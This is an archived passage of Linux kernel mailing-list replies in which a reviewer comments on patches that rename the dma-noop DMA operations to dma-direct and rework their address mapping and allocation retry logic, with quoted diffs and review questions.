> @@ -4336,7 +4336,7 @@ T:	git git://git.infradead.org/users/hch/dma-mapping.git
>  W:	http://git.infradead.org/users/hch/dma-mapping.git
>  S:	Supported
>  F:	lib/dma-debug.c
> -F:	lib/dma-noop.c
> +F:	lib/dma-direct.c
>  F:	lib/dma-virt.c
>  F:	drivers/base/dma-mapping.c
>  F:	drivers/base/dma-coherent.c
> diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
> index 00d889a37965..430a0aa710d6 100644
> --- a/arch/arm/Kconfig
> +++ b/arch/arm/Kconfig
> @@ -25,7 +25,7 @@ config ARM
>  	select CLONE_BACKWARDS
>  	select CPU_PM if (SUSPEND || CPU_IDLE)
>  	select DCACHE_WORD_ACCESS if HAVE_EFFICIENT_UNALIGNED_ACCESS
> -	select DMA_NOOP_OPS if !MMU
> +	select DMA_DIRECT_OPS if !MMU
>  	select EDAC_SUPPORT
>  	select EDAC_ATOMIC_SCRUB
>  	select GENERIC_ALLOCATOR
> diff --git a/arch/arm/include/asm/dma-mapping.h b/arch/arm/include/asm/dma-mapping.h
> index e5d9020c9ee1..8436f6ade57d 100644
> --- a/arch/arm/include/asm/dma-mapping.h
> +++ b/arch/arm/include/asm/dma-mapping.h
> @@ -18,7 +18,7 @@ extern const struct dma_map_ops arm_coherent_dma_ops;
>  
>  static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
>  {
> -	return IS_ENABLED(CONFIG_MMU) ? &arm_dma_ops : &dma_noop_ops;
> +	return IS_ENABLED(CONFIG_MMU) ? &arm_dma_ops : &dma_direct_ops;
>  }
>  
>  #ifdef __arch_page_to_dma
> diff --git a/arch/arm/mm/dma-mapping-nommu.c b/arch/arm/mm/dma-mapping-nommu.c
> index 1cced700e45a..49e9831dc0f1 100644
> --- a/arch/arm/mm/dma-mapping-nommu.c
> +++ b/arch/arm/mm/dma-mapping-nommu.c
> @@ -22,7 +22,7 @@
>  #include "dma.h"
>  
>  /*
> - *  dma_noop_ops is used if
> + *  dma_direct_ops is used if
>   *   - MMU/MPU is off
>   *   - cpu is v7m w/o cache support
>   *   - device is coherent
> @@ -39,7 +39,7 @@ static void *arm_nommu_dma_alloc(struct device *dev, size_t size,
>  				 unsigned long attrs)
>  
>  {
> -	const struct dma_map_ops *ops = &dma_noop_ops;
> +	const struct dma_map_ops *ops = &dma_direct_ops;
>  	void *ret;
>  
>  	/*
> @@ -70,7 +70,7 @@ static void arm_nommu_dma_free(struct device *dev, size_t size,
>  			       void *cpu_addr, dma_addr_t dma_addr,
>  			       unsigned long attrs)
>  {
> -	const struct dma_map_ops *ops = &dma_noop_ops;
> +	const struct dma_map_ops *ops = &dma_direct_ops;
>  
>  	if (attrs & DMA_ATTR_NON_CONSISTENT) {
>  		ops->free(dev, size, cpu_addr, dma_addr, attrs);
> @@ -214,7 +214,7 @@ EXPORT_SYMBOL(arm_nommu_dma_ops);
>  
>  static const struct dma_map_ops *arm_nommu_get_dma_map_ops(bool coherent)
>  {
> -	return coherent ? &dma_noop_ops : &arm_nommu_dma_ops;
> +	return coherent ? &dma_direct_ops : &arm_nommu_dma_ops;
>  }
>  
>  void arch_setup_dma_ops(struct device *dev, u64 dma_base, u64 size,
> diff --git a/arch/m32r/Kconfig b/arch/m32r/Kconfig
> index 498398d915c1..dd84ee194579 100644
> --- a/arch/m32r/Kconfig
> +++ b/arch/m32r/Kconfig
> @@ -19,7 +19,7 @@ config M32R
>  	select MODULES_USE_ELF_RELA
>  	select HAVE_DEBUG_STACKOVERFLOW
>  	select CPU_NO_EFFICIENT_FFS
> -	select DMA_NOOP_OPS
> +	select DMA_DIRECT_OPS
>  	select ARCH_NO_COHERENT_DMA_MMAP if !MMU
>  
>  config SBUS
> diff --git a/arch/riscv/Kconfig b/arch/riscv/Kconfig
> index 2c6adf12713a..865e14f50c14 100644
> --- a/arch/riscv/Kconfig
> +++ b/arch/riscv/Kconfig
> @@ -83,7 +83,7 @@ config PGTABLE_LEVELS
>  config HAVE_KPROBES
>  	def_bool n
>  
> -config DMA_NOOP_OPS
> +config DMA_DIRECT_OPS
>  	def_bool y
>  
>  menu "Platform type"
> diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
> index 829c67986db7..9376637229c9 100644
> --- a/arch/s390/Kconfig
> +++ b/arch/s390/Kconfig
> @@ -140,7 +140,7 @@ config S390
>  	select HAVE_DEBUG_KMEMLEAK
>  	select HAVE_DMA_API_DEBUG
>  	select HAVE_DMA_CONTIGUOUS
> -	select DMA_NOOP_OPS
> +	select DMA_DIRECT_OPS
>  	select HAVE_DYNAMIC_FTRACE
>  	select HAVE_DYNAMIC_FTRACE_WITH_REGS
>  	select HAVE_EFFICIENT_UNALIGNED_ACCESS
> diff --git a/include/asm-generic/dma-mapping.h b/include/asm-generic/dma-mapping.h
> index 164031531d85..880a292d792f 100644
> --- a/include/asm-generic/dma-mapping.h
> +++ b/include/asm-generic/dma-mapping.h
> @@ -4,7 +4,7 @@
>  
>  static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
>  {
> -	return &dma_noop_ops;
> +	return &dma_direct_ops;
>  }
>  
>  #endif /* _ASM_GENERIC_DMA_MAPPING_H */
> diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
> index 72568bf4fc12..ff3528de5322 100644
> --- a/include/linux/dma-mapping.h
> +++ b/include/linux/dma-mapping.h
> @@ -143,7 +143,7 @@ struct dma_map_ops {
>  	bool is_phys;
>  };
>  
> -extern const struct dma_map_ops dma_noop_ops;
> +extern const struct dma_map_ops dma_direct_ops;
>  extern const struct dma_map_ops dma_virt_ops;
>  
>  #define DMA_BIT_MASK(n)	(((n) == 64) ? ~0ULL : ((1ULL<<(n))-1))
> diff --git a/lib/Kconfig b/lib/Kconfig
> index c5e84fbcb30b..9d3d649c9dc9 100644
> --- a/lib/Kconfig
> +++ b/lib/Kconfig
> @@ -409,7 +409,7 @@ config HAS_DMA
>  	depends on !NO_DMA
>  	default y
>  
> -config DMA_NOOP_OPS
> +config DMA_DIRECT_OPS
>  	bool
>  	depends on HAS_DMA && (!64BIT || ARCH_DMA_ADDR_T_64BIT)
>  	default n
> diff --git a/lib/Makefile b/lib/Makefile
> index d11c48ec8ffd..749851abe85a 100644
> --- a/lib/Makefile
> +++ b/lib/Makefile
> @@ -28,7 +28,7 @@ lib-y := ctype.o string.o vsprintf.o cmdline.o \
>  
>  lib-$(CONFIG_MMU) += ioremap.o
>  lib-$(CONFIG_SMP) += cpumask.o
> -lib-$(CONFIG_DMA_NOOP_OPS) += dma-noop.o
> +lib-$(CONFIG_DMA_DIRECT_OPS) += dma-direct.o
>  lib-$(CONFIG_DMA_VIRT_OPS) += dma-virt.o
>  
>  lib-y	+= kobject.o klist.o
> diff --git a/lib/dma-noop.c b/lib/dma-direct.c
> similarity index 53%
> rename from lib/dma-noop.c
> rename to lib/dma-direct.c
> index c3728a0551f5..439db40854b7 100644
> --- a/lib/dma-noop.c
> +++ b/lib/dma-direct.c
> @@ -10,9 +10,8 @@
>  #include <linux/scatterlist.h>
>  #include <linux/pfn.h>
>  
> -static void *dma_noop_alloc(struct device *dev, size_t size,
> -			    dma_addr_t *dma_handle, gfp_t gfp,
> -			    unsigned long attrs)
> +static void *dma_direct_alloc(struct device *dev, size_t size,
> +		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
>  {
>  	void *ret;
>  
> @@ -23,24 +22,21 @@ static void *dma_noop_alloc(struct device *dev, size_t size,
>  	return ret;
>  }
>  
> -static void dma_noop_free(struct device *dev, size_t size,
> -			  void *cpu_addr, dma_addr_t dma_addr,
> -			  unsigned long attrs)
> +static void dma_direct_free(struct device *dev, size_t size, void *cpu_addr,
> +		dma_addr_t dma_addr, unsigned long attrs)
>  {
>  	free_pages((unsigned long)cpu_addr, get_order(size));
>  }
>  
> -static dma_addr_t dma_noop_map_page(struct device *dev, struct page *page,
> -				      unsigned long offset, size_t size,
> -				      enum dma_data_direction dir,
> -				      unsigned long attrs)
> +static dma_addr_t dma_direct_map_page(struct device *dev, struct page *page,
> +		unsigned long offset, size_t size, enum dma_data_direction dir,
> +		unsigned long attrs)
>  {
>  	return page_to_phys(page) + offset - PFN_PHYS(dev->dma_pfn_offset);
>  }
>  
> -static int dma_noop_map_sg(struct device *dev, struct scatterlist *sgl, int nents,
> -			     enum dma_data_direction dir,
> -			     unsigned long attrs)
> +static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
> +		int nents, enum dma_data_direction dir, unsigned long attrs)
>  {
>  	int i;
>  	struct scatterlist *sg;
> @@ -58,12 +54,11 @@ static int dma_noop_map_sg(struct device *dev, struct scatterlist *sgl, int nent
>  	return nents;
>  }
>  
> -const struct dma_map_ops dma_noop_ops = {
> -	.alloc			= dma_noop_alloc,
> -	.free			= dma_noop_free,
> -	.map_page		= dma_noop_map_page,
> -	.map_sg			= dma_noop_map_sg,
> +const struct dma_map_ops dma_direct_ops = {
> +	.alloc			= dma_direct_alloc,
> +	.free			= dma_direct_free,
> +	.map_page		= dma_direct_map_page,
> +	.map_sg			= dma_direct_map_sg,
>  	.is_phys		= true,
>  };
> -
> -EXPORT_SYMBOL(dma_noop_ops);
> +EXPORT_SYMBOL(dma_direct_ops);
> 

>From ARM NOMMU perspective

Reviewed-by: Vladimir Murzin <vladimir.murzin@arm.com>

Thanks
Vladimir

--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Vladimir Murzin <vladimir.murzin@arm.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 26/67] dma-direct: use phys_to_dma
Date: Tue, 2 Jan 2018 16:26:27 +0000
Lines: 71
Approved: news@gmane.org
Message-ID: <76092d0d-3e74-9433-5fae-afc512e34b20@arm.com>
References: <20171229081911.2802-1-hch@lst.de>
 <20171229081911.2802-27-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1514910279 24525 195.159.176.226 (2 Jan 2018 16:24:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 2 Jan 2018 16:24:39 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
Cc: linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-arch@vger.kernel.org,
        linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, x86@kernel.org,
        linux-snps-arc@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
        linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
        linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: Christoph Hellwig <hch@lst.de>, iommu@lists.linux-foundation.org
Original-X-From: linux-arch-owner@vger.kernel.org Tue Jan 02 17:24:33 2018
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1eWPMe-0005iR-T3
	for glka-linux-arch@m.gmane.org; Tue, 02 Jan 2018 17:24:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750960AbeABQ0e (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
        Tue, 2 Jan 2018 11:26:34 -0500
Original-Received: from foss.arm.com ([217.140.101.70]:41744 "EHLO foss.arm.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751037AbeABQ0d (ORCPT <rfc822;linux-arch@vger.kernel.org>);
        Tue, 2 Jan 2018 11:26:33 -0500
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
        by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id BE78680D;
        Tue,  2 Jan 2018 08:26:32 -0800 (PST)
Original-Received: from [10.1.78.252] (unknown [10.1.78.252])
        by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id B445C3F53D;
        Tue,  2 Jan 2018 08:26:28 -0800 (PST)
In-Reply-To: <20171229081911.2802-27-hch@lst.de>
Content-Language: en-GB
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:40909 gmane.linux.kernel.iommu:21960 gmane.linux.ports.mips.general:63075 gmane.linux.ports.ia64:28468 gmane.linux.ports.sh.devel:56128 gmane.linux.ports.sparc:27134 gmane.linux.ports.hexagon:1476 gmane.linux.kernel.arc:3251 gmane.linux.kernel.metag:1550 gmane.linux.ports.arm.kernel:623351 gmane.linux.ports.parisc:28144 gmane.linux.kernel:2656135 gmane.linux.ports.alpha:4626 gmane.linux.ports.ppc64.devel:151596
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/40909>

On 29/12/17 08:18, Christoph Hellwig wrote:
> This means it uses whatever linear remapping scheme that the architecture
> provides is used in the generic dma_direct ops.
> 
> Signed-off-by: Christoph Hellwig <hch@lst.de>
> ---
>  lib/dma-direct.c | 18 +++++++-----------
>  1 file changed, 7 insertions(+), 11 deletions(-)
> 
> diff --git a/lib/dma-direct.c b/lib/dma-direct.c
> index 439db40854b7..0e087650e86b 100644
> --- a/lib/dma-direct.c
> +++ b/lib/dma-direct.c
> @@ -1,12 +1,11 @@
>  // SPDX-License-Identifier: GPL-2.0
>  /*
> - *	lib/dma-noop.c
> - *
> - * DMA operations that map to physical addresses without flushing memory.
> + * DMA operations that map physical memory directly without using an IOMMU or
> + * flushing caches.
>   */
>  #include <linux/export.h>
>  #include <linux/mm.h>
> -#include <linux/dma-mapping.h>
> +#include <linux/dma-direct.h>
>  #include <linux/scatterlist.h>
>  #include <linux/pfn.h>
>  
> @@ -17,7 +16,7 @@ static void *dma_direct_alloc(struct device *dev, size_t size,
>  
>  	ret = (void *)__get_free_pages(gfp, get_order(size));
>  	if (ret)
> -		*dma_handle = virt_to_phys(ret) - PFN_PHYS(dev->dma_pfn_offset);
> +		*dma_handle = phys_to_dma(dev, virt_to_phys(ret));
>  
>  	return ret;
>  }
> @@ -32,7 +31,7 @@ static dma_addr_t dma_direct_map_page(struct device *dev, struct page *page,
>  		unsigned long offset, size_t size, enum dma_data_direction dir,
>  		unsigned long attrs)
>  {
> -	return page_to_phys(page) + offset - PFN_PHYS(dev->dma_pfn_offset);
> +	return phys_to_dma(dev, page_to_phys(page)) + offset;
>  }
>  
>  static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
> @@ -42,12 +41,9 @@ static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
>  	struct scatterlist *sg;
>  
>  	for_each_sg(sgl, sg, nents, i) {
> -		dma_addr_t offset = PFN_PHYS(dev->dma_pfn_offset);
> -		void *va;
> -
>  		BUG_ON(!sg_page(sg));
> -		va = sg_virt(sg);
> -		sg_dma_address(sg) = (dma_addr_t)virt_to_phys(va) - offset;
> +
> +		sg_dma_address(sg) = phys_to_dma(dev, sg_phys(sg));
>  		sg_dma_len(sg) = sg->length;
>  	}
>  
> 

>From ARM NOMMU perspective

Reviewed-by: Vladimir Murzin <vladimir.murzin@arm.com>

Thanks
Vladimir


From - Thu Nov 08 21:40:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Vladimir Murzin <vladimir.murzin@arm.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 30/67] dma-direct: retry allocations using GFP_DMA for
 small masks
Date: Tue, 2 Jan 2018 16:43:15 +0000
Lines: 61
Approved: news@gmane.org
Message-ID: <f6139b03-0a4a-a9fe-4818-9b0bccf419e4@arm.com>
References: <20171229081911.2802-1-hch@lst.de>
 <20171229081911.2802-31-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1514911289 31128 195.159.176.226 (2 Jan 2018 16:41:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 2 Jan 2018 16:41:29 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
Cc: linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-arch@vger.kernel.org,
        linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, x86@kernel.org,
        linux-snps-arc@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
        linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
        linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: Christoph Hellwig <hch@lst.de>, iommu@lists.linux-foundation.org
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Jan 02 17:41:23 2018
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eWPcw-00075y-E1
	for glpm-linux-m68k@m.gmane.org; Tue, 02 Jan 2018 17:41:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751128AbeABQnZ (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Tue, 2 Jan 2018 11:43:25 -0500
Original-Received: from foss.arm.com ([217.140.101.70]:41964 "EHLO foss.arm.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751052AbeABQnV (ORCPT <rfc822;linux-m68k@lists.linux-m68k.org>);
        Tue, 2 Jan 2018 11:43:21 -0500
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
        by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 11CA380D;
        Tue,  2 Jan 2018 08:43:21 -0800 (PST)
Original-Received: from [10.1.78.252] (unknown [10.1.78.252])
        by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id 349063F53D;
        Tue,  2 Jan 2018 08:43:17 -0800 (PST)
In-Reply-To: <20171229081911.2802-31-hch@lst.de>
Content-Language: en-GB
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9832 gmane.linux.kernel.iommu:21962 gmane.linux.ports.mips.general:63078 gmane.linux.ports.ia64:28469 gmane.linux.ports.sh.devel:56129 gmane.linux.ports.sparc:27135 gmane.linux.kernel.cross-arch:40910 gmane.linux.ports.hexagon:1477 gmane.linux.kernel.arc:3252 gmane.linux.kernel.metag:1551 gmane.linux.ports.arm.kernel:623362 gmane.linux.ports.parisc:28145 gmane.linux.kernel:2656153 gmane.linux.ports.alpha:4627 gmane.linux.ports.ppc64.devel:151597
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9832>

On 29/12/17 08:18, Christoph Hellwig wrote:
> If we got back an allocation that wasn't inside the support coherent mask,
> retry the allocation using GFP_DMA.
> 
> Based on the x86 code.
> 
> Signed-off-by: Christoph Hellwig <hch@lst.de>
> ---
>  lib/dma-direct.c | 25 ++++++++++++++++++++++++-
>  1 file changed, 24 insertions(+), 1 deletion(-)
> 
> diff --git a/lib/dma-direct.c b/lib/dma-direct.c
> index ab81de3ac1d3..f8467cb3d89a 100644
> --- a/lib/dma-direct.c
> +++ b/lib/dma-direct.c
> @@ -28,6 +28,11 @@ check_addr(struct device *dev, dma_addr_t dma_addr, size_t size,
>  	return true;
>  }
>  
> +static bool dma_coherent_ok(struct device *dev, phys_addr_t phys, size_t size)
> +{
> +	return phys_to_dma(dev, phys) + size <= dev->coherent_dma_mask;

Shouldn't it be: phys_to_dma(dev, phys) + size - 1 <= dev->coherent_dma_mask ?

> +}
> +
>  static void *dma_direct_alloc(struct device *dev, size_t size,
>  		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
>  {
> @@ -35,11 +40,29 @@ static void *dma_direct_alloc(struct device *dev, size_t size,
>  	int page_order = get_order(size);
>  	struct page *page = NULL;
>  
> +again:
>  	/* CMA can be used only in the context which permits sleeping */
> -	if (gfpflags_allow_blocking(gfp))
> +	if (gfpflags_allow_blocking(gfp)) {
>  		page = dma_alloc_from_contiguous(dev, count, page_order, gfp);
> +		if (page && !dma_coherent_ok(dev, page_to_phys(page), size)) {
> +			dma_release_from_contiguous(dev, page, count);
> +			page = NULL;
> +		}
> +	}
>  	if (!page)
>  		page = alloc_pages_node(dev_to_node(dev), gfp, page_order);
> +
> +	if (page && !dma_coherent_ok(dev, page_to_phys(page), size)) {
> +		__free_pages(page, page_order);
> +		page = NULL;
> +
> +		if (dev->coherent_dma_mask < DMA_BIT_MASK(32) &&
> +		    !(gfp & GFP_DMA)) {
> +			gfp = (gfp & ~GFP_DMA32) | GFP_DMA;
> +			goto again;

Shouldn't we limit number of attempts?

Thanks
Vladimir


From - Thu Nov 08 21:40:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Vladimir Murzin <vladimir.murzin@arm.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 31/67] dma-direct: make dma_direct_{alloc, free} available
 to other implementations
Date: Tue, 2 Jan 2018 16:44:21 +0000
Lines: 96
Approved: news@gmane.org
Message-ID: <f7aca03c-e893-d10a-7a28-bb3c9ae47900@arm.com>
References: <20171229081911.2802-1-hch@lst.de>
 <20171229081911.2802-32-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1514911353 12942 195.159.176.226 (2 Jan 2018 16:42:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 2 Jan 2018 16:42:33 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.2.1
Cc: linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-arch@vger.kernel.org,
        linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, x86@kernel.org,
        linux-snps-arc@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
        linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
        linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: Christoph Hellwig <hch@lst.de>, iommu@lists.linux-foundation.org
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Jan 02 17:42:27 2018
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eWPdx-0001qJ-5q
	for glpm-linux-m68k@m.gmane.org; Tue, 02 Jan 2018 17:42:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751158AbeABQo2 (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Tue, 2 Jan 2018 11:44:28 -0500
Original-Received: from usa-sjc-mx-foss1.foss.arm.com ([217.140.101.70]:42060 "EHLO
        foss.arm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751097AbeABQo0 (ORCPT <rfc822;linux-m68k@lists.linux-m68k.org>);
        Tue, 2 Jan 2018 11:44:26 -0500
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
        by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 9C61780D;
        Tue,  2 Jan 2018 08:44:26 -0800 (PST)
Original-Received: from [10.1.78.252] (unknown [10.1.78.252])
        by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id CC7F33F53D;
        Tue,  2 Jan 2018 08:44:22 -0800 (PST)
In-Reply-To: <20171229081911.2802-32-hch@lst.de>
Content-Language: ru
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9833 gmane.linux.kernel.iommu:21963 gmane.linux.ports.mips.general:63079 gmane.linux.ports.ia64:28470 gmane.linux.ports.sh.devel:56130 gmane.linux.ports.sparc:27136 gmane.linux.kernel.cross-arch:40911 gmane.linux.ports.hexagon:1478 gmane.linux.kernel.arc:3253 gmane.linux.kernel.metag:1552 gmane.linux.ports.arm.kernel:623363 gmane.linux.ports.parisc:28146 gmane.linux.kernel:2656154 gmane.linux.ports.alpha:4628 gmane.linux.ports.ppc64.devel:151598
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9833>

On 29/12/17 08:18, Christoph Hellwig wrote:
> So that they don't need to indirect through the operation vector.
> 
> Signed-off-by: Christoph Hellwig <hch@lst.de>
> ---
>  arch/arm/mm/dma-mapping-nommu.c | 9 +++------
>  include/linux/dma-direct.h      | 5 +++++
>  lib/dma-direct.c                | 6 +++---
>  3 files changed, 11 insertions(+), 9 deletions(-)
> 
> diff --git a/arch/arm/mm/dma-mapping-nommu.c b/arch/arm/mm/dma-mapping-nommu.c
> index 49e9831dc0f1..b4cf3e4e9d4a 100644
> --- a/arch/arm/mm/dma-mapping-nommu.c
> +++ b/arch/arm/mm/dma-mapping-nommu.c
> @@ -11,7 +11,7 @@
>  
>  #include <linux/export.h>
>  #include <linux/mm.h>
> -#include <linux/dma-mapping.h>
> +#include <linux/dma-direct.h>
>  #include <linux/scatterlist.h>
>  
>  #include <asm/cachetype.h>
> @@ -39,7 +39,6 @@ static void *arm_nommu_dma_alloc(struct device *dev, size_t size,
>  				 unsigned long attrs)
>  
>  {
> -	const struct dma_map_ops *ops = &dma_direct_ops;
>  	void *ret;
>  
>  	/*
> @@ -48,7 +47,7 @@ static void *arm_nommu_dma_alloc(struct device *dev, size_t size,
>  	 */
>  
>  	if (attrs & DMA_ATTR_NON_CONSISTENT)
> -		return ops->alloc(dev, size, dma_handle, gfp, attrs);
> +		return dma_direct_alloc(dev, size, dma_handle, gfp, attrs);
>  
>  	ret = dma_alloc_from_global_coherent(size, dma_handle);
>  
> @@ -70,10 +69,8 @@ static void arm_nommu_dma_free(struct device *dev, size_t size,
>  			       void *cpu_addr, dma_addr_t dma_addr,
>  			       unsigned long attrs)
>  {
> -	const struct dma_map_ops *ops = &dma_direct_ops;
> -
>  	if (attrs & DMA_ATTR_NON_CONSISTENT) {
> -		ops->free(dev, size, cpu_addr, dma_addr, attrs);
